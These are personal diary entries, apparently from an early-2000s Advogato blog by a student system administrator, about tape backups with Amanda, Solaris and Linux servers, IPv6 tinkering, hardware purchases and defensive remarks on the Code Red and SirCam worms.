Oh yeah, I also picked up a SkyScan Atomic Clock at Target over the weekend. It's a digital wall clock that can listen in on the time signals broadcast over shortwave from Colorado. It was about $50.
Our ethernet network died for about half an hour, just as I was going to start this entry. The network here is really screwy (it's a /21, if I remember right) as just one critical component failure in a Cisco switch somewhere can bring the entire thing down (ie, no data whatsoever going anywhere). I don't know why they have it set up that way -- it would seem better to me if they had ethernet bridges rather than one huge network. Of course, I'm not a network engineer..
Anyway, things would have been worse for me, but I had a mini-hub, so at least I didn't have to deal with losing my x2vnc connection where I share my mouse and keyboard between my Linux and WinNT workstations.
I was considering getting a WinTV-HD card for my computer at home, but I don't know if there are any drivers available for Linux (or, at the very least, if there is documentation available so drivers can be made), and it appears that the cards may be out of stock everywhere as well..
I've been looking around for an XDS (eXtended Data Service) encoder for NTSC, so that I can manually insert the correct time into TV transmissions coming into my apartment. As far as I can tell, the local PBS station isn't doing it (though they insist they are), and back when it did work, they usually had the wrong time anyway. I just want to hook up my NTP-synched computer to a box that will keep our TVs and VCRs set to the right time (and then tell the PBS folks how to do it ;-)
It might be possible to do it with my Hollywood Plus MPEG decoder board, though I'd have to find a way to put that signal on a real channel (not an auxilliary input) that I don't care about, and I don't even know if the card's video encoder can generate those signals or not. I'm working on writing a document describing how to get Reflection X working nicely with (Open)SSH. I'll probably post a link here tomorrow.
Ugh, it's Tuesday already. I have to go in and talk with an academic advisor about my poor grades by Thursday. Blech.
Later
The ADV7175A is able to mangle line 21 of the NTSC VBI, but only field 1. XDS data, including the time code, is in field 2. Drat.
There are a lot of people making noise on my roof right now. Our two year old apartment is getting re-roofed. It was leaking badly in some places (it happened here too, though we have a mostly flat roof, while they appear to be mostly replacing the shingled part. Whoever is paying for this is probably not very happy.
Later
Finally got Quake III running on my NT box at work. The other guys have been trying to get me into it for months. Unfortunately, my skills seem to have declined. Then again, I much prefer the rocket launcher to the rail gun, and the map we were using didn't seem to leave very many places to hide/take cover. Also, I probably do better when there are more people in the game (we only had 3 or 4).
Anyway..
I have to get back to some other ongoing projects. I need to migrate more software to one of our new servers. The NIS databases will also have to be moved over.
We have to get the raid monitor software configured properly (we have two systems connected to the array at the moment, which makes things somewhat complicated).
Once we move everything over, I'll install Linux on the old server (currently running Solaris). We'll run it as a slave NIS server, with as many Linux/Sparc versions of the software we have as possible (only one package at the moment, but that'll be supplemented by GNU Octave).
I've been meaning to improve our tape backup system for quite a while. I suppose I should set up a database for that, though my job isn't to be a programmer. We're also probably moving to Veritas shortly, so it will probably be a moot point.
I'm supposed to be working on a firewall and/or VPN gateway for our wireless systems, but I need a wireless access point, a laptop with a proper card, and the proper IP space before I can really get into that.
All of our X clients (using Reflection X and the occasional Linux box) will have to be configured properly to use SSH instead of Telnet/RSH/RLogin. I'm still working out that process.
Once we get a faster system for it, the Netsaint monitor box will have to be updated to watch more of the network. Hopefully Netsaint will continue to be developed (/me crosses his fingers).
So much stuff, and I'm just a student employee. Then again, I haven't exactly been putting my best effort into getting things done (probably due to my sick-and-tired-every-day-because-I-can't-get-a-date problem..)
Just tried running Stata on Linux/Sparc using Solaris emulation. Heh, I'm glad that's not a production server (yet), since it brought the system to a screeching halt. It's possible that I just did something simple wrong (like putting it in the wrong directory). However, I don't want to run a production box with binary emulation if this sort of thing can happen.
Went to the net-people meeting. Heard about some folks in Duluth that are using Linux boxes to authenticate with Radius to an x.500 directory. I guess they don't have encryption going yet, but it's still farther along than I am.
Our new Sun box is slowly coming along. I'm working on adding programs to it. We need to then move the primary passwd/shadow and group files to the new system, get the RAID working properly, and then we'll have an Ultra 30 to play with (the old box) and hopefully put Linux on.
Been playing with running an old P100 w/ 16MB of memory as an X terminal. I think it will be a good idea to figure out how to get it going correctly, as I'm planning on moving my main workstation back into my bedroom. Leaving this X terminal outside of my room will allow me to stay up late working on stuff without bothering my roommate.
Unfortunately, the monitor I currently have connected to it isn't going to be available for too long. I'll have to dig around for a decent replacement (this one is actually amazingly good for being a CTX...)
It just takes a while to realize that opening an xterm window on this system doesn't allow me to muck with it -- the xterm is actually runninng on my main system.
I currently have a separate user id, though I'm hoping that I will be able to figure out how to use separate Gnome `sessions' -- I just don't know how to select them yet. It'd be great if I could get this working with mlview-dxpc as well. I have an ethernet connection between the two, but any little bit that keeps queries from going out over the wire will probably help (or not..)
Anyway, I ran into the problem that the two X sessions were colliding over /tmp/.esd. I'm not sure what the correct fix would be for that.
I'm sitting around at work, not doing much of anything. I suppose I should start coding something. A while ago, I was looking at solutions for backing up our systems here. I came across a few interesting sites, but I didn't sit down and work with them very much. Now, I'm thinking of working with Amanda to do our backups.
At some point, we're going to be getting a fairly large tape system (~2 Terabytes) attached to a NAS system. Each person will have a Gigabyte of storage allocated to them, and they will mount it via SMB (well, for the Windows folks, at least.) I presume we'll be able to back up the Unix, Windows, and Novell servers through this tape system as well, though I have my concerns about `cross-platform' solutions like that. Hell, nobody can even figure out how to back up Novell servers properly (well, their long filename solutions were always messy and are what have caused the most problems).
It'd be cool if we could run GFS on the NAS, so a few computers could be serving the data (one on each subnet or something, if the folks here ever realize that a /21 is a bad idea...). Hmm.. We might need quota support, though. Maybe I'll just have to pass the name Sistina up the chain of command here.
Anyway, that's off in the future, and I still have to figure out how to back up our Unix systems now...
Later
Whoops, did I say NAS? I meant SAN..
I've got Amanda going to a certain extent now. Not exactly sure what it's doing, though. I do have to ask -- when Amanda runs tar it runs it with the correct flags to only go on a single filesystem, right? Otherwise, I'm in for a long wait :-p
Well, I let Amanda run as I left work (late) yesterday. Unfortunately, the tape I had put in (the very first one in the first Amanda cycle I've ever done) was bad. It did fit two or three small dumps on it, but then it cacked out. Fortunately, Amanda is able to handle that situation, and the backups just landed on the holding disks. I'm running amflush at the moment, to flush those backups to the next tape.
We don't have an optimal setup at the moment. I could only scrounge up about 17GB of holding disk space while we are using 35GB DLT IV tapes. Hopefully Amanda will be intelligent enough to handle that, but we'll have to wait and see.
I'm pretty surprised that the system I'm backing up with is using so much processing power to watch the I/O on the SCSI tape drive. You'd think it was an IDE device :-p .. I probably just never noticed before..
Still, I'm really impressed by Amanda. It's not the easiest thing in the world to use, but it's a slice of nice pie compared to what it takes to run our Oracle database.
I may have to set up something for myself at home, though I'd have to find a decent tape drive first. I can probably steal a DAT drive from work, though I think I might like to just pick up a DDS3 drive (the one available to me is DDS2). Too bad they're still spendy for me..
Later
Well, I started the second real Amanda run shortly after the flush of yesterday's unfinished dumps got done. I figure that once we get everything going properly, the dumps will actually happen overnight via a cron job or three.
I think a few of our servers are on 10Mbit connections when they should be on 100Mb. I tried to ask our networking guy about it, but I haven't heard back.
Accidentally clicked the big `X' in the corner of the window, so this'll be the short version.
I actually ordered a DDS3 tape drive on eBay. 12GB native (with the right media, of course). Should work great for my system, as well as much of the apartment. One of my roommates has 20GB or so of music in MP3 format, so I'm not sure if I'll want to back that up, especially since that would be going over the building's network (10Mbit).
At work, I've been trying to get all of our servers capable of 100baseTx running at that speed. I think our network guy isn't all he thinks he is (okay, he can kick my ass in QuakeIII). Picking up the mii-diag utility helped to show that the hub is only putting out a 10baseT link beat. No advertisement of better service. Trying to bring the link up to 100Mbit tanked the connection (the link light went dead). Hopefully we'll get this fixed up tomorrow.
My boss wants me to put together some documentation, that'll be a good thing to do tomorrow as well.
ok boot cdrom
Wait 3 minutes...
Configuring devices...
Wait 4 minutes...
Starting OpenWindows
Wait 3 minutes...
Discover that the mouse doesn't work...
Gah!
One more minute...
The system is coming up. Please wait.
Heh, that's funny..
Two more minutes, and I finally get the first dialog box.
It's been a long day.
Later
We Americans are so silly. Worms. Heh. /me hugs Linux.
Got some mail today regarding how to check servers for vulnerability to the Code Red worm. The message was along the lines of ``I'm going to be gone for a while, how can I be sure I'll be safe?'' I wrote a note to the staff reminding folks that security is an ongoing thing. Updates need to happen, and default installations cause all sorts of trouble. I mentioned that the Internet is a hostile network, services should be avoided whenever possible, etc.
Didn't receive any hate-mail after that, so hopefully it was well-taken. I repeated many of the comments later in the day to one of the LUG mailing lists I'm on.
Anyway, worked on a newly installed Sun. If you guessed that it was a Sparc 20, you're right! Too bad I was putting Solaris 7 on it instead of a decent OS, but we need a Solaris box available to run a few things. Ugh, now I have to make more RPMs..
My Dad and my Uncle are coming up tomorrow. Planning to show them my office/cube and probably the server room as well.
Not so sure about this Dmitry Sklyarov business.
Well, my tape drive arrived yesterday. I bid on some DDS3 tapes and got them for about $10/tape. They will arrive on Monday. Also, the drive is black and doesn't match my case. However, I can buy a new faceplate for $6 online.
I'm beginning to hate UPS ground. Everything arrives next Monday, since I live in the middle of the country in Minnesota, while most places that sell stuff are on or near the coasts (east, west, gulf). Oh well.
Been getting a few of those SirCam worms. Got around 10 of them so far, none from anyone I know, indicating that the worm picked my address out from the web cache of the infected system. Most news sites don't seem to mention that the worm is actually an EXE file, renamed to look like a document, and is (almost?) never less than 200kB. It actually encodes a document in itself, but the first ~half of the bug appears to always be the same. Even when it's encoded in base64, it looks the same for about the first 1700 lines.
The University has usually filtered out mail worms (didn't get a single ILOVEYOU, for instance), but this one has slipped by them.
Later
Debating installing Debian (woody) on my home computer. I did it at work today, though it took a long time. If I start now, it probably wouldn't get done until 2 AM..
Maybe tomorrow.
My DVD drive is having trouble (apparently) doing the layer transition on Tora! Tora! Tora!. The drive pretty much hangs on that. I had mounted it to try some more testing. It had trouble reading some files, so I tried unmounting, which sat there and sat there. Went away and watched TV, only to come back later to see that the whole system had apparently frozen up (to an extent, SysRq still worked to power off the system). Hmm. I wish framebuffer worked better, so it might actually be possible to see errors pop up when X is up. Then again, I hate how messages screw up the display on our Sun boxes at work...
Finally got all of the systems I really care about into Amanda's disklist. I really like not worrying about how to schedule backups, whether stuff will fit on a certain tape, etc. It's currently hitting about 45 partitions on different systems. Unfortunately, all my work will probably be in vain, as the folks upstairs are planning to implement Vertas's NetBackup.
I do have to figure out a good way to keep longer-term (months instead of days/weeks) backups. A separate tape cycle running on Fridays only, maybe. We had only been doing weeklies, so I should continue that practice somehow (right now, Amanda just has a two-week cycle, though we have enough tapes to bring that to a month, or two months if backups are done every other day).
Anyway, I like my Debian box at work, and I might do my home machine soon. IPv6 support appears to be better in Woody than RedHat 7.x. I was surprised that my OpenSSH daemon here at home appears to be missing IPv6 support. Of course, none of the systems under my control are on IPv6 networks. I wonder when that will change. No multicast yet, either. Oh well.
Do Linux IPv6 hosts need to have some sort of daemon running to discover routers? Maybe that's all I'm missing. All I'm doing for testing at the moment is `modprobe ipv6', which gives me a site-link address.
Hmm..
Got some spam directed at me, apparently because of my eBay ID. I wonder when my tapes will arrive. I didn't get any tracking numbers or anything, so it may have been USPS..
Later
Saw that Freenet6 is giving out /48 IPv6 blocks now. I'll have to set up a gateway at some point.
Still getting sircam worms. Need to set up a filtering system for my computer, I think.
Beyond Late
Just found the GutenPalm reader for etexts on Palm. Pretty good, though when I converted the 2000 CIA World Factbook, it took up a very big chunk of my Palm's RAM (1.5MB).. Oh well.
Otherwise, it's cool to finally have a decent way to read Gutenberg texts on the Palm.
Big new server rack thingy arrived today. It's still in pieces, and I really don't feel like putting the thing together, moving stuff around, etc., but it'll be nice when it's all together. It will organize all of the servers that are currently stacked like bricks in my cube.
Found some really nifty screensavers for Windows today at GizmoZone. Some of them were nagware, others free, and at least one Free one. I'll have to see if I can port any of them to Linux. Of course, that means I have to find some way to get accelerated OpenGL working on my G400 at home where I'm running Xinerama. Not sure if that's possible or not. Even if it is, it's probably way out of my skill range..
Heh, that display at home uses about 13 MB of RAM when it's just sitting there. Not sure if that leaves enough for doing OpenGL or not.
I started thinking about screensavers and OpenGL because my boss is planning on putting together an OGL app to help us keep track of computers in the building (connecting to a PostgreSQL database backend). He's planning on scanning in the floor plans and then overlaying that with a grid system to help us locate things. If it works, it'll be very cool.
Picked up some IPv6 drivers (and their sources, apparently) for Windows NT. Doesn't do much since we don't have any v6 routers yet, but I feel a little better knowing that I'm helping the transition along in my own small way.
Eesh, is that corny or what?
A bit later
Hmm.. Need to figure out how to get x2vnc to play nice with
QuakeIII running on the Windows box.
Late
Gah! Why can't people who write about this Sircam virus say, ``It's a renamed EXE file. It's like any other program, except this one does bad things. The smallest it gets is about 200kB. It (almost) always puts in the header `X-Mailer: Microsoft Outlook Express 5.50.4133.2400'.''
Interesting character strings:
SOFTWARE\Borland\Delphi\RTL
Portions Copyright (c) 1983,99 Borland
Software\Borland\Locales
Software\Borland\Delphi\Locales
Too many levels of symbolic links
Too many processes
Too many users
Disk quota exceeded
Stale NFS file handle
Hmm.. Advogato seems to be getting slower, at least on some things. Oh well, I'm sure the site is getting more popular..
Anyway, thinking of putting together an updated prc-tools package for Debian. Woody's current package is 0.5.0, while the version out in the real world is 2.0 (or 2.1-something, if you want to be on the bleeding edge).
Gah. I have to do something to justify my presence here. Still not much of an open source hacker yet.
There are tons of things I'd like to work on, if only I had the skill and/or willpower (somethings I have the skill for, others I don't)
...and, as always, I'm sure there's stuff I'm forgetting.
Hmm. Does Advogato drop </li>? Did I ever actually have to put it in my web pages?
Later
Went to Planet of the Apes. Pretty good flick. Also got my DDS3 tapes in the mail today, and am currently working on backing up my system. Accidentally left hardware compression turned on, so one of my partitions didn't fit on there in a previous run, apparently.
Now it's time for bed.
